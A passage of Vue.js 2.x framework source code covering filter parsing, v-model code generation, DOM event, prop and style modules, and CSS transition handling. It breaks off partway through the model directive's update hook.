var validDivisionCharRE = /[\w).+\-_$\]]/;
function parseFilters(exp) {
var inSingle = false;
var inDouble = false;
var inTemplateString = false;
var inRegex = false;
var curly = 0;
var square = 0;
var paren = 0;
var lastFilterIndex = 0;
var c, prev, i, expression, filters;
for (i = 0; i < exp.length; i++) {
prev = c;
c = exp.charCodeAt(i);
if (inSingle) {
if (c === 0x27 && prev !== 0x5C) {
inSingle = false;
}
} else if (inDouble) {
if (c === 0x22 && prev !== 0x5C) {
inDouble = false;
}
} else if (inTemplateString) {
if (c === 0x60 && prev !== 0x5C) {
inTemplateString = false;
}
} else if (inRegex) {
if (c === 0x2f && prev !== 0x5C) {
inRegex = false;
}
} else if (c === 0x7C && // pipe
exp.charCodeAt(i + 1) !== 0x7C && exp.charCodeAt(i - 1) !== 0x7C && !curly && !square && !paren) {
if (expression === undefined) {
// first filter, end of expression
lastFilterIndex = i + 1;
expression = exp.slice(0, i).trim();
} else {
pushFilter();
}
} else {
switch (c) {
case 0x22:
inDouble = true;break; // "
case 0x27:
inSingle = true;break; // '
case 0x60:
inTemplateString = true;break; // `
case 0x28:
paren++;break; // (
case 0x29:
paren--;break; // )
case 0x5B:
square++;break; // [
case 0x5D:
square--;break; // ]
case 0x7B:
curly++;break; // {
case 0x7D:
curly--;break; // }
}
if (c === 0x2f) {
// /
var j = i - 1;
var p = void 0;
// find first non-whitespace prev char
for (; j >= 0; j--) {
p = exp.charAt(j);
if (p !== ' ') {
break;
}
}
if (!p || !validDivisionCharRE.test(p)) {
inRegex = true;
}
}
}
}
if (expression === undefined) {
expression = exp.slice(0, i).trim();
} else if (lastFilterIndex !== 0) {
pushFilter();
}
function pushFilter() {
(filters || (filters = [])).push(exp.slice(lastFilterIndex, i).trim());
lastFilterIndex = i + 1;
}
if (filters) {
for (i = 0; i < filters.length; i++) {
expression = wrapFilter(expression, filters[i]);
}
}
return expression;
}
function wrapFilter(exp, filter) {
var i = filter.indexOf('(');
if (i < 0) {
// _f: resolveFilter
return "_f(\"" + filter + "\")(" + exp + ")";
} else {
var name = filter.slice(0, i);
var args = filter.slice(i + 1);
return "_f(\"" + name + "\")(" + exp + "," + args;
}
}
/* */
function baseWarn(msg) {
console.error("[Vue compiler]: " + msg);
}
function pluckModuleFunction(modules, key) {
return modules ? modules.map(function (m) {
return m[key];
}).filter(function (_) {
return _;
}) : [];
}
function addProp(el, name, value) {
(el.props || (el.props = [])).push({ name: name, value: value });
}
function addAttr(el, name, value) {
(el.attrs || (el.attrs = [])).push({ name: name, value: value });
}
function addDirective(el, name, rawName, value, arg, modifiers) {
(el.directives || (el.directives = [])).push({ name: name, rawName: rawName, value: value, arg: arg, modifiers: modifiers });
}
function addHandler(el, name, value, modifiers, important, warn) {
// warn prevent and passive modifier
/* istanbul ignore if */
if ("development" !== 'production' && warn && modifiers && modifiers.prevent && modifiers.passive) {
warn('passive and prevent can\'t be used together. ' + 'Passive handler can\'t prevent default event.');
}
// check capture modifier
if (modifiers && modifiers.capture) {
delete modifiers.capture;
name = '!' + name; // mark the event as captured
}
if (modifiers && modifiers.once) {
delete modifiers.once;
name = '~' + name; // mark the event as once
}
/* istanbul ignore if */
if (modifiers && modifiers.passive) {
delete modifiers.passive;
name = '&' + name; // mark the event as passive
}
var events;
if (modifiers && modifiers.native) {
delete modifiers.native;
events = el.nativeEvents || (el.nativeEvents = {});
} else {
events = el.events || (el.events = {});
}
var newHandler = { value: value, modifiers: modifiers };
var handlers = events[name];
/* istanbul ignore if */
if (Array.isArray(handlers)) {
important ? handlers.unshift(newHandler) : handlers.push(newHandler);
} else if (handlers) {
events[name] = important ? [newHandler, handlers] : [handlers, newHandler];
} else {
events[name] = newHandler;
}
}
function getBindingAttr(el, name, getStatic) {
var dynamicValue = getAndRemoveAttr(el, ':' + name) || getAndRemoveAttr(el, 'v-bind:' + name);
if (dynamicValue != null) {
return parseFilters(dynamicValue);
} else if (getStatic !== false) {
var staticValue = getAndRemoveAttr(el, name);
if (staticValue != null) {
return JSON.stringify(staticValue);
}
}
}
function getAndRemoveAttr(el, name) {
var val;
if ((val = el.attrsMap[name]) != null) {
var list = el.attrsList;
for (var i = 0, l = list.length; i < l; i++) {
if (list[i].name === name) {
list.splice(i, 1);
break;
}
}
}
return val;
}
/* */
/**
* Cross-platform code generation for component v-model
*/
function genComponentModel(el, value, modifiers) {
var ref = modifiers || {};
var number = ref.number;
var trim = ref.trim;
var baseValueExpression = '$$v';
var valueExpression = baseValueExpression;
if (trim) {
valueExpression = "(typeof " + baseValueExpression + " === 'string'" + "? " + baseValueExpression + ".trim()" + ": " + baseValueExpression + ")";
}
if (number) {
valueExpression = "_n(" + valueExpression + ")";
}
var assignment = genAssignmentCode(value, valueExpression);
el.model = {
value: "(" + value + ")",
expression: "\"" + value + "\"",
callback: "function (" + baseValueExpression + ") {" + assignment + "}"
};
}
/**
* Cross-platform codegen helper for generating v-model value assignment code.
*/
function genAssignmentCode(value, assignment) {
var modelRs = parseModel(value);
if (modelRs.idx === null) {
return value + "=" + assignment;
} else {
return "var $$exp = " + modelRs.exp + ", $$idx = " + modelRs.idx + ";" + "if (!Array.isArray($$exp)){" + value + "=" + assignment + "}" + "else{$$exp.splice($$idx, 1, " + assignment + ")}";
}
}
/**
* parse directive model to do the array update transform. a[idx] = val => $$a.splice($$idx, 1, val)
*
* for loop possible cases:
*
* - test
* - test[idx]
* - test[test1[idx]]
* - test["a"][idx]
* - xxx.test[a[a].test1[idx]]
* - test.xxx.a["asa"][test1[idx]]
*
*/
var len;
var str;
var chr;
var index$1;
var expressionPos;
var expressionEndPos;
function parseModel(val) {
str = val;
len = str.length;
index$1 = expressionPos = expressionEndPos = 0;
if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {
return {
exp: val,
idx: null
};
}
while (!eof()) {
chr = next();
/* istanbul ignore if */
if (isStringStart(chr)) {
parseString(chr);
} else if (chr === 0x5B) {
parseBracket(chr);
}
}
return {
exp: val.substring(0, expressionPos),
idx: val.substring(expressionPos + 1, expressionEndPos)
};
}
function next() {
return str.charCodeAt(++index$1);
}
function eof() {
return index$1 >= len;
}
function isStringStart(chr) {
return chr === 0x22 || chr === 0x27;
}
function parseBracket(chr) {
var inBracket = 1;
expressionPos = index$1;
while (!eof()) {
chr = next();
if (isStringStart(chr)) {
parseString(chr);
continue;
}
if (chr === 0x5B) {
inBracket++;
}
if (chr === 0x5D) {
inBracket--;
}
if (inBracket === 0) {
expressionEndPos = index$1;
break;
}
}
}
function parseString(chr) {
var stringQuote = chr;
while (!eof()) {
chr = next();
if (chr === stringQuote) {
break;
}
}
}
/* */
var warn$1;
// in some cases, the event used has to be determined at runtime
// so we used some reserved tokens during compile.
var RANGE_TOKEN = '__r';
var CHECKBOX_RADIO_TOKEN = '__c';
function model(el, dir, _warn) {
warn$1 = _warn;
var value = dir.value;
var modifiers = dir.modifiers;
var tag = el.tag;
var type = el.attrsMap.type;
if (true) {
var dynamicType = el.attrsMap['v-bind:type'] || el.attrsMap[':type'];
if (tag === 'input' && dynamicType) {
warn$1("<input :type=\"" + dynamicType + "\" v-model=\"" + value + "\">:\n" + "v-model does not support dynamic input types. Use v-if branches instead.");
}
// inputs with type="file" are read only and setting the input's
// value will throw an error.
if (tag === 'input' && type === 'file') {
warn$1("<" + el.tag + " v-model=\"" + value + "\" type=\"file\">:\n" + "File inputs are read only. Use a v-on:change listener instead.");
}
}
if (tag === 'select') {
genSelect(el, value, modifiers);
} else if (tag === 'input' && type === 'checkbox') {
genCheckboxModel(el, value, modifiers);
} else if (tag === 'input' && type === 'radio') {
genRadioModel(el, value, modifiers);
} else if (tag === 'input' || tag === 'textarea') {
genDefaultModel(el, value, modifiers);
} else if (!config.isReservedTag(tag)) {
genComponentModel(el, value, modifiers);
// component v-model doesn't need extra runtime
return false;
} else if (true) {
warn$1("<" + el.tag + " v-model=\"" + value + "\">: " + "v-model is not supported on this element type. " + 'If you are working with contenteditable, it\'s recommended to ' + 'wrap a library dedicated for that purpose inside a custom component.');
}
// ensure runtime directive metadata
return true;
}
function genCheckboxModel(el, value, modifiers) {
var number = modifiers && modifiers.number;
var valueBinding = getBindingAttr(el, 'value') || 'null';
var trueValueBinding = getBindingAttr(el, 'true-value') || 'true';
var falseValueBinding = getBindingAttr(el, 'false-value') || 'false';
addProp(el, 'checked', "Array.isArray(" + value + ")" + "?_i(" + value + "," + valueBinding + ")>-1" + (trueValueBinding === 'true' ? ":(" + value + ")" : ":_q(" + value + "," + trueValueBinding + ")"));
addHandler(el, CHECKBOX_RADIO_TOKEN, "var $$a=" + value + "," + '$$el=$event.target,' + "$$c=$$el.checked?(" + trueValueBinding + "):(" + falseValueBinding + ");" + 'if(Array.isArray($$a)){' + "var $$v=" + (number ? '_n(' + valueBinding + ')' : valueBinding) + "," + '$$i=_i($$a,$$v);' + "if($$c){$$i<0&&(" + value + "=$$a.concat($$v))}" + "else{$$i>-1&&(" + value + "=$$a.slice(0,$$i).concat($$a.slice($$i+1)))}" + "}else{" + genAssignmentCode(value, '$$c') + "}", null, true);
}
function genRadioModel(el, value, modifiers) {
var number = modifiers && modifiers.number;
var valueBinding = getBindingAttr(el, 'value') || 'null';
valueBinding = number ? "_n(" + valueBinding + ")" : valueBinding;
addProp(el, 'checked', "_q(" + value + "," + valueBinding + ")");
addHandler(el, CHECKBOX_RADIO_TOKEN, genAssignmentCode(value, valueBinding), null, true);
}
function genSelect(el, value, modifiers) {
var number = modifiers && modifiers.number;
var selectedVal = "Array.prototype.filter" + ".call($event.target.options,function(o){return o.selected})" + ".map(function(o){var val = \"_value\" in o ? o._value : o.value;" + "return " + (number ? '_n(val)' : 'val') + "})";
var assignment = '$event.target.multiple ? $$selectedVal : $$selectedVal[0]';
var code = "var $$selectedVal = " + selectedVal + ";";
code = code + " " + genAssignmentCode(value, assignment);
addHandler(el, 'change', code, null, true);
}
function genDefaultModel(el, value, modifiers) {
var type = el.attrsMap.type;
var ref = modifiers || {};
var lazy = ref.lazy;
var number = ref.number;
var trim = ref.trim;
var needCompositionGuard = !lazy && type !== 'range';
var event = lazy ? 'change' : type === 'range' ? RANGE_TOKEN : 'input';
var valueExpression = '$event.target.value';
if (trim) {
valueExpression = "$event.target.value.trim()";
}
if (number) {
valueExpression = "_n(" + valueExpression + ")";
}
var code = genAssignmentCode(value, valueExpression);
if (needCompositionGuard) {
code = "if($event.target.composing)return;" + code;
}
addProp(el, 'value', "(" + value + ")");
addHandler(el, event, code, null, true);
if (trim || number || type === 'number') {
addHandler(el, 'blur', '$forceUpdate()');
}
}
/* */
// normalize v-model event tokens that can only be determined at runtime.
// it's important to place the event as the first in the array because
// the whole point is ensuring the v-model callback gets called before
// user-attached handlers.
function normalizeEvents(on) {
var event;
/* istanbul ignore if */
if (isDef(on[RANGE_TOKEN])) {
// IE input[type=range] only supports `change` event
event = isIE ? 'change' : 'input';
on[event] = [].concat(on[RANGE_TOKEN], on[event] || []);
delete on[RANGE_TOKEN];
}
if (isDef(on[CHECKBOX_RADIO_TOKEN])) {
// Chrome fires microtasks in between click/change, leads to #4521
event = isChrome ? 'click' : 'change';
on[event] = [].concat(on[CHECKBOX_RADIO_TOKEN], on[event] || []);
delete on[CHECKBOX_RADIO_TOKEN];
}
}
var target$1;
function add$1(event, _handler, once$$1, capture, passive) {
if (once$$1) {
var oldHandler = _handler;
var _target = target$1; // save current target element in closure
_handler = function handler(ev) {
var res = arguments.length === 1 ? oldHandler(ev) : oldHandler.apply(null, arguments);
if (res !== null) {
remove$2(event, _handler, capture, _target);
}
};
}
target$1.addEventListener(event, _handler, supportsPassive ? { capture: capture, passive: passive } : capture);
}
function remove$2(event, handler, capture, _target) {
(_target || target$1).removeEventListener(event, handler, capture);
}
function updateDOMListeners(oldVnode, vnode) {
if (isUndef(oldVnode.data.on) && isUndef(vnode.data.on)) {
return;
}
var on = vnode.data.on || {};
var oldOn = oldVnode.data.on || {};
target$1 = vnode.elm;
normalizeEvents(on);
updateListeners(on, oldOn, add$1, remove$2, vnode.context);
}
var events = {
create: updateDOMListeners,
update: updateDOMListeners
};
/* */
function updateDOMProps(oldVnode, vnode) {
if (isUndef(oldVnode.data.domProps) && isUndef(vnode.data.domProps)) {
return;
}
var key, cur;
var elm = vnode.elm;
var oldProps = oldVnode.data.domProps || {};
var props = vnode.data.domProps || {};
// clone observed objects, as the user probably wants to mutate it
if (isDef(props.__ob__)) {
props = vnode.data.domProps = extend({}, props);
}
for (key in oldProps) {
if (isUndef(props[key])) {
elm[key] = '';
}
}
for (key in props) {
cur = props[key];
// ignore children if the node has textContent or innerHTML,
// as these will throw away existing DOM nodes and cause removal errors
// on subsequent patches (#3360)
if (key === 'textContent' || key === 'innerHTML') {
if (vnode.children) {
vnode.children.length = 0;
}
if (cur === oldProps[key]) {
continue;
}
}
if (key === 'value') {
// store value as _value as well since
// non-string values will be stringified
elm._value = cur;
// avoid resetting cursor position when value is the same
var strCur = isUndef(cur) ? '' : String(cur);
if (shouldUpdateValue(elm, vnode, strCur)) {
elm.value = strCur;
}
} else {
elm[key] = cur;
}
}
}
// check platforms/web/util/attrs.js acceptValue
function shouldUpdateValue(elm, vnode, checkVal) {
return !elm.composing && (vnode.tag === 'option' || isDirty(elm, checkVal) || isInputChanged(elm, checkVal));
}
function isDirty(elm, checkVal) {
// return true when textbox (.number and .trim) loses focus and its value is not equal to the updated value
return document.activeElement !== elm && elm.value !== checkVal;
}
function isInputChanged(elm, newVal) {
var value = elm.value;
var modifiers = elm._vModifiers; // injected by v-model runtime
if (isDef(modifiers) && modifiers.number || elm.type === 'number') {
return toNumber(value) !== toNumber(newVal);
}
if (isDef(modifiers) && modifiers.trim) {
return value.trim() !== newVal.trim();
}
return value !== newVal;
}
var domProps = {
create: updateDOMProps,
update: updateDOMProps
};
/* */
var parseStyleText = cached(function (cssText) {
var res = {};
var listDelimiter = /;(?![^(]*\))/g;
var propertyDelimiter = /:(.+)/;
cssText.split(listDelimiter).forEach(function (item) {
if (item) {
var tmp = item.split(propertyDelimiter);
tmp.length > 1 && (res[tmp[0].trim()] = tmp[1].trim());
}
});
return res;
});
// merge static and dynamic style data on the same vnode
function normalizeStyleData(data) {
var style = normalizeStyleBinding(data.style);
// static style is pre-processed into an object during compilation
// and is always a fresh object, so it's safe to merge into it
return data.staticStyle ? extend(data.staticStyle, style) : style;
}
// normalize possible array / string values into Object
function normalizeStyleBinding(bindingStyle) {
if (Array.isArray(bindingStyle)) {
return toObject(bindingStyle);
}
if (typeof bindingStyle === 'string') {
return parseStyleText(bindingStyle);
}
return bindingStyle;
}
/**
* parent component style should be after child's
* so that parent component's style could override it
*/
function getStyle(vnode, checkChild) {
var res = {};
var styleData;
if (checkChild) {
var childNode = vnode;
while (childNode.componentInstance) {
childNode = childNode.componentInstance._vnode;
if (childNode.data && (styleData = normalizeStyleData(childNode.data))) {
extend(res, styleData);
}
}
}
if (styleData = normalizeStyleData(vnode.data)) {
extend(res, styleData);
}
var parentNode = vnode;
while (parentNode = parentNode.parent) {
if (parentNode.data && (styleData = normalizeStyleData(parentNode.data))) {
extend(res, styleData);
}
}
return res;
}
/* */
var cssVarRE = /^--/;
var importantRE = /\s*!important$/;
var setProp = function setProp(el, name, val) {
/* istanbul ignore if */
if (cssVarRE.test(name)) {
el.style.setProperty(name, val);
} else if (importantRE.test(val)) {
el.style.setProperty(name, val.replace(importantRE, ''), 'important');
} else {
var normalizedName = normalize(name);
if (Array.isArray(val)) {
// Support values array created by autoprefixer, e.g.
// {display: ["-webkit-box", "-ms-flexbox", "flex"]}
// Set them one by one, and the browser will only set those it can recognize
for (var i = 0, len = val.length; i < len; i++) {
el.style[normalizedName] = val[i];
}
} else {
el.style[normalizedName] = val;
}
}
};
var prefixes = ['Webkit', 'Moz', 'ms'];
var testEl;
var normalize = cached(function (prop) {
testEl = testEl || document.createElement('div');
prop = camelize(prop);
if (prop !== 'filter' && prop in testEl.style) {
return prop;
}
var upper = prop.charAt(0).toUpperCase() + prop.slice(1);
for (var i = 0; i < prefixes.length; i++) {
var prefixed = prefixes[i] + upper;
if (prefixed in testEl.style) {
return prefixed;
}
}
});
function updateStyle(oldVnode, vnode) {
var data = vnode.data;
var oldData = oldVnode.data;
if (isUndef(data.staticStyle) && isUndef(data.style) && isUndef(oldData.staticStyle) && isUndef(oldData.style)) {
return;
}
var cur, name;
var el = vnode.elm;
var oldStaticStyle = oldData.staticStyle;
var oldStyleBinding = oldData.normalizedStyle || oldData.style || {};
// if static style exists, stylebinding already merged into it when doing normalizeStyleData
var oldStyle = oldStaticStyle || oldStyleBinding;
var style = normalizeStyleBinding(vnode.data.style) || {};
// store normalized style under a different key for next diff
// make sure to clone it if it's reactive, since the user likley wants
// to mutate it.
vnode.data.normalizedStyle = isDef(style.__ob__) ? extend({}, style) : style;
var newStyle = getStyle(vnode, true);
for (name in oldStyle) {
if (isUndef(newStyle[name])) {
setProp(el, name, '');
}
}
for (name in newStyle) {
cur = newStyle[name];
if (cur !== oldStyle[name]) {
// ie9 setting to null has no effect, must use empty string
setProp(el, name, cur == null ? '' : cur);
}
}
}
var style = {
create: updateStyle,
update: updateStyle
};
/* */
/**
* Add class with compatibility for SVG since classList is not supported on
* SVG elements in IE
*/
function addClass(el, cls) {
/* istanbul ignore if */
if (!cls || !(cls = cls.trim())) {
return;
}
/* istanbul ignore else */
if (el.classList) {
if (cls.indexOf(' ') > -1) {
cls.split(/\s+/).forEach(function (c) {
return el.classList.add(c);
});
} else {
el.classList.add(cls);
}
} else {
var cur = " " + (el.getAttribute('class') || '') + " ";
if (cur.indexOf(' ' + cls + ' ') < 0) {
el.setAttribute('class', (cur + cls).trim());
}
}
}
/**
* Remove class with compatibility for SVG since classList is not supported on
* SVG elements in IE
*/
function removeClass(el, cls) {
/* istanbul ignore if */
if (!cls || !(cls = cls.trim())) {
return;
}
/* istanbul ignore else */
if (el.classList) {
if (cls.indexOf(' ') > -1) {
cls.split(/\s+/).forEach(function (c) {
return el.classList.remove(c);
});
} else {
el.classList.remove(cls);
}
} else {
var cur = " " + (el.getAttribute('class') || '') + " ";
var tar = ' ' + cls + ' ';
while (cur.indexOf(tar) >= 0) {
cur = cur.replace(tar, ' ');
}
el.setAttribute('class', cur.trim());
}
}
/* */
function resolveTransition(def$$1) {
if (!def$$1) {
return;
}
/* istanbul ignore else */
if ((typeof def$$1 === 'undefined' ? 'undefined' : _typeof(def$$1)) === 'object') {
var res = {};
if (def$$1.css !== false) {
extend(res, autoCssTransition(def$$1.name || 'v'));
}
extend(res, def$$1);
return res;
} else if (typeof def$$1 === 'string') {
return autoCssTransition(def$$1);
}
}
var autoCssTransition = cached(function (name) {
return {
enterClass: name + "-enter",
enterToClass: name + "-enter-to",
enterActiveClass: name + "-enter-active",
leaveClass: name + "-leave",
leaveToClass: name + "-leave-to",
leaveActiveClass: name + "-leave-active"
};
});
var hasTransition = inBrowser && !isIE9;
var TRANSITION = 'transition';
var ANIMATION = 'animation';
// Transition property/event sniffing
var transitionProp = 'transition';
var transitionEndEvent = 'transitionend';
var animationProp = 'animation';
var animationEndEvent = 'animationend';
if (hasTransition) {
/* istanbul ignore if */
if (window.ontransitionend === undefined && window.onwebkittransitionend !== undefined) {
transitionProp = 'WebkitTransition';
transitionEndEvent = 'webkitTransitionEnd';
}
if (window.onanimationend === undefined && window.onwebkitanimationend !== undefined) {
animationProp = 'WebkitAnimation';
animationEndEvent = 'webkitAnimationEnd';
}
}
// binding to window is necessary to make hot reload work in IE in strict mode
var raf = inBrowser && window.requestAnimationFrame ? window.requestAnimationFrame.bind(window) : setTimeout;
function nextFrame(fn) {
raf(function () {
raf(fn);
});
}
function addTransitionClass(el, cls) {
(el._transitionClasses || (el._transitionClasses = [])).push(cls);
addClass(el, cls);
}
function removeTransitionClass(el, cls) {
if (el._transitionClasses) {
remove(el._transitionClasses, cls);
}
removeClass(el, cls);
}
function whenTransitionEnds(el, expectedType, cb) {
var ref = getTransitionInfo(el, expectedType);
var type = ref.type;
var timeout = ref.timeout;
var propCount = ref.propCount;
if (!type) {
return cb();
}
var event = type === TRANSITION ? transitionEndEvent : animationEndEvent;
var ended = 0;
var end = function end() {
el.removeEventListener(event, onEnd);
cb();
};
var onEnd = function onEnd(e) {
if (e.target === el) {
if (++ended >= propCount) {
end();
}
}
};
setTimeout(function () {
if (ended < propCount) {
end();
}
}, timeout + 1);
el.addEventListener(event, onEnd);
}
var transformRE = /\b(transform|all)(,|$)/;
function getTransitionInfo(el, expectedType) {
var styles = window.getComputedStyle(el);
var transitionDelays = styles[transitionProp + 'Delay'].split(', ');
var transitionDurations = styles[transitionProp + 'Duration'].split(', ');
var transitionTimeout = getTimeout(transitionDelays, transitionDurations);
var animationDelays = styles[animationProp + 'Delay'].split(', ');
var animationDurations = styles[animationProp + 'Duration'].split(', ');
var animationTimeout = getTimeout(animationDelays, animationDurations);
var type;
var timeout = 0;
var propCount = 0;
/* istanbul ignore if */
if (expectedType === TRANSITION) {
if (transitionTimeout > 0) {
type = TRANSITION;
timeout = transitionTimeout;
propCount = transitionDurations.length;
}
} else if (expectedType === ANIMATION) {
if (animationTimeout > 0) {
type = ANIMATION;
timeout = animationTimeout;
propCount = animationDurations.length;
}
} else {
timeout = Math.max(transitionTimeout, animationTimeout);
type = timeout > 0 ? transitionTimeout > animationTimeout ? TRANSITION : ANIMATION : null;
propCount = type ? type === TRANSITION ? transitionDurations.length : animationDurations.length : 0;
}
var hasTransform = type === TRANSITION && transformRE.test(styles[transitionProp + 'Property']);
return {
type: type,
timeout: timeout,
propCount: propCount,
hasTransform: hasTransform
};
}
function getTimeout(delays, durations) {
/* istanbul ignore next */
while (delays.length < durations.length) {
delays = delays.concat(delays);
}
return Math.max.apply(null, durations.map(function (d, i) {
return toMs(d) + toMs(delays[i]);
}));
}
function toMs(s) {
return Number(s.slice(0, -1)) * 1000;
}
/* */
function enter(vnode, toggleDisplay) {
var el = vnode.elm;
// call leave callback now
if (isDef(el._leaveCb)) {
el._leaveCb.cancelled = true;
el._leaveCb();
}
var data = resolveTransition(vnode.data.transition);
if (isUndef(data)) {
return;
}
/* istanbul ignore if */
if (isDef(el._enterCb) || el.nodeType !== 1) {
return;
}
var css = data.css;
var type = data.type;
var enterClass = data.enterClass;
var enterToClass = data.enterToClass;
var enterActiveClass = data.enterActiveClass;
var appearClass = data.appearClass;
var appearToClass = data.appearToClass;
var appearActiveClass = data.appearActiveClass;
var beforeEnter = data.beforeEnter;
var enter = data.enter;
var afterEnter = data.afterEnter;
var enterCancelled = data.enterCancelled;
var beforeAppear = data.beforeAppear;
var appear = data.appear;
var afterAppear = data.afterAppear;
var appearCancelled = data.appearCancelled;
var duration = data.duration;
// activeInstance will always be the <transition> component managing this
// transition. One edge case to check is when the <transition> is placed
// as the root node of a child component. In that case we need to check
// <transition>'s parent for appear check.
var context = activeInstance;
var transitionNode = activeInstance.$vnode;
while (transitionNode && transitionNode.parent) {
transitionNode = transitionNode.parent;
context = transitionNode.context;
}
var isAppear = !context._isMounted || !vnode.isRootInsert;
if (isAppear && !appear && appear !== '') {
return;
}
var startClass = isAppear && appearClass ? appearClass : enterClass;
var activeClass = isAppear && appearActiveClass ? appearActiveClass : enterActiveClass;
var toClass = isAppear && appearToClass ? appearToClass : enterToClass;
var beforeEnterHook = isAppear ? beforeAppear || beforeEnter : beforeEnter;
var enterHook = isAppear ? typeof appear === 'function' ? appear : enter : enter;
var afterEnterHook = isAppear ? afterAppear || afterEnter : afterEnter;
var enterCancelledHook = isAppear ? appearCancelled || enterCancelled : enterCancelled;
var explicitEnterDuration = toNumber(isObject(duration) ? duration.enter : duration);
if ("development" !== 'production' && explicitEnterDuration != null) {
checkDuration(explicitEnterDuration, 'enter', vnode);
}
var expectsCSS = css !== false && !isIE9;
var userWantsControl = getHookArgumentsLength(enterHook);
var cb = el._enterCb = once(function () {
if (expectsCSS) {
removeTransitionClass(el, toClass);
removeTransitionClass(el, activeClass);
}
if (cb.cancelled) {
if (expectsCSS) {
removeTransitionClass(el, startClass);
}
enterCancelledHook && enterCancelledHook(el);
} else {
afterEnterHook && afterEnterHook(el);
}
el._enterCb = null;
});
if (!vnode.data.show) {
// remove pending leave element on enter by injecting an insert hook
mergeVNodeHook(vnode.data.hook || (vnode.data.hook = {}), 'insert', function () {
var parent = el.parentNode;
var pendingNode = parent && parent._pending && parent._pending[vnode.key];
if (pendingNode && pendingNode.tag === vnode.tag && pendingNode.elm._leaveCb) {
pendingNode.elm._leaveCb();
}
enterHook && enterHook(el, cb);
});
}
// start enter transition
beforeEnterHook && beforeEnterHook(el);
if (expectsCSS) {
addTransitionClass(el, startClass);
addTransitionClass(el, activeClass);
nextFrame(function () {
addTransitionClass(el, toClass);
removeTransitionClass(el, startClass);
if (!cb.cancelled && !userWantsControl) {
if (isValidDuration(explicitEnterDuration)) {
setTimeout(cb, explicitEnterDuration);
} else {
whenTransitionEnds(el, type, cb);
}
}
});
}
if (vnode.data.show) {
toggleDisplay && toggleDisplay();
enterHook && enterHook(el, cb);
}
if (!expectsCSS && !userWantsControl) {
cb();
}
}
function leave(vnode, rm) {
var el = vnode.elm;
// call enter callback now
if (isDef(el._enterCb)) {
el._enterCb.cancelled = true;
el._enterCb();
}
var data = resolveTransition(vnode.data.transition);
if (isUndef(data)) {
return rm();
}
/* istanbul ignore if */
if (isDef(el._leaveCb) || el.nodeType !== 1) {
return;
}
var css = data.css;
var type = data.type;
var leaveClass = data.leaveClass;
var leaveToClass = data.leaveToClass;
var leaveActiveClass = data.leaveActiveClass;
var beforeLeave = data.beforeLeave;
var leave = data.leave;
var afterLeave = data.afterLeave;
var leaveCancelled = data.leaveCancelled;
var delayLeave = data.delayLeave;
var duration = data.duration;
var expectsCSS = css !== false && !isIE9;
var userWantsControl = getHookArgumentsLength(leave);
var explicitLeaveDuration = toNumber(isObject(duration) ? duration.leave : duration);
if ("development" !== 'production' && isDef(explicitLeaveDuration)) {
checkDuration(explicitLeaveDuration, 'leave', vnode);
}
var cb = el._leaveCb = once(function () {
if (el.parentNode && el.parentNode._pending) {
el.parentNode._pending[vnode.key] = null;
}
if (expectsCSS) {
removeTransitionClass(el, leaveToClass);
removeTransitionClass(el, leaveActiveClass);
}
if (cb.cancelled) {
if (expectsCSS) {
removeTransitionClass(el, leaveClass);
}
leaveCancelled && leaveCancelled(el);
} else {
rm();
afterLeave && afterLeave(el);
}
el._leaveCb = null;
});
if (delayLeave) {
delayLeave(performLeave);
} else {
performLeave();
}
function performLeave() {
// the delayed leave may have already been cancelled
if (cb.cancelled) {
return;
}
// record leaving element
if (!vnode.data.show) {
(el.parentNode._pending || (el.parentNode._pending = {}))[vnode.key] = vnode;
}
beforeLeave && beforeLeave(el);
if (expectsCSS) {
addTransitionClass(el, leaveClass);
addTransitionClass(el, leaveActiveClass);
nextFrame(function () {
addTransitionClass(el, leaveToClass);
removeTransitionClass(el, leaveClass);
if (!cb.cancelled && !userWantsControl) {
if (isValidDuration(explicitLeaveDuration)) {
setTimeout(cb, explicitLeaveDuration);
} else {
whenTransitionEnds(el, type, cb);
}
}
});
}
leave && leave(el, cb);
if (!expectsCSS && !userWantsControl) {
cb();
}
}
}
// only used in dev mode
function checkDuration(val, name, vnode) {
if (typeof val !== 'number') {
warn("<transition> explicit " + name + " duration is not a valid number - " + "got " + JSON.stringify(val) + ".", vnode.context);
} else if (isNaN(val)) {
warn("<transition> explicit " + name + " duration is NaN - " + 'the duration expression might be incorrect.', vnode.context);
}
}
function isValidDuration(val) {
return typeof val === 'number' && !isNaN(val);
}
/**
* Normalize a transition hook's argument length. The hook may be:
* - a merged hook (invoker) with the original in .fns
* - a wrapped component method (check ._length)
* - a plain function (.length)
*/
function getHookArgumentsLength(fn) {
if (isUndef(fn)) {
return false;
}
var invokerFns = fn.fns;
if (isDef(invokerFns)) {
// invoker
return getHookArgumentsLength(Array.isArray(invokerFns) ? invokerFns[0] : invokerFns);
} else {
return (fn._length || fn.length) > 1;
}
}
function _enter(_, vnode) {
if (vnode.data.show !== true) {
enter(vnode);
}
}
var transition = inBrowser ? {
create: _enter,
activate: _enter,
remove: function remove$$1(vnode, rm) {
/* istanbul ignore else */
if (vnode.data.show !== true) {
leave(vnode, rm);
} else {
rm();
}
}
} : {};
var platformModules = [attrs, klass, events, domProps, style, transition];
/* */
// the directive module should be applied last, after all
// built-in modules have been applied.
var modules = platformModules.concat(baseModules);
var patch = createPatchFunction({ nodeOps: nodeOps, modules: modules });
/**
* Not type checking this file because flow doesn't like attaching
* properties to Elements.
*/
/* istanbul ignore if */
if (isIE9) {
// http://www.matts411.com/post/internet-explorer-9-oninput/
document.addEventListener('selectionchange', function () {
var el = document.activeElement;
if (el && el.vmodel) {
trigger(el, 'input');
}
});
}
var model$1 = {
inserted: function inserted(el, binding, vnode) {
if (vnode.tag === 'select') {
var cb = function cb() {
setSelected(el, binding, vnode.context);
};
cb();
/* istanbul ignore if */
if (isIE || isEdge) {
setTimeout(cb, 0);
}
} else if (vnode.tag === 'textarea' || el.type === 'text' || el.type === 'password') {
el._vModifiers = binding.modifiers;
if (!binding.modifiers.lazy) {
// Safari < 10.2 & UIWebView doesn't fire compositionend when
// switching focus before confirming composition choice
// this also fixes the issue where some browsers e.g. iOS Chrome
// fires "change" instead of "input" on autocomplete.
el.addEventListener('change', onCompositionEnd);
if (!isAndroid) {
el.addEventListener('compositionstart', onCompositionStart);
el.addEventListener('compositionend', onCompositionEnd);
}
/* istanbul ignore if */
if (isIE9) {
el.vmodel = true;
}
}
}
},
componentUpdated: function componentUpdated(el, binding, vnode) {
if (vnode.tag === 'select') {
setSelected(el, binding, vnode.context);
// in case the options rendered by v-for have changed,
// it's possible that the value is out-of-sync with the rendered options.
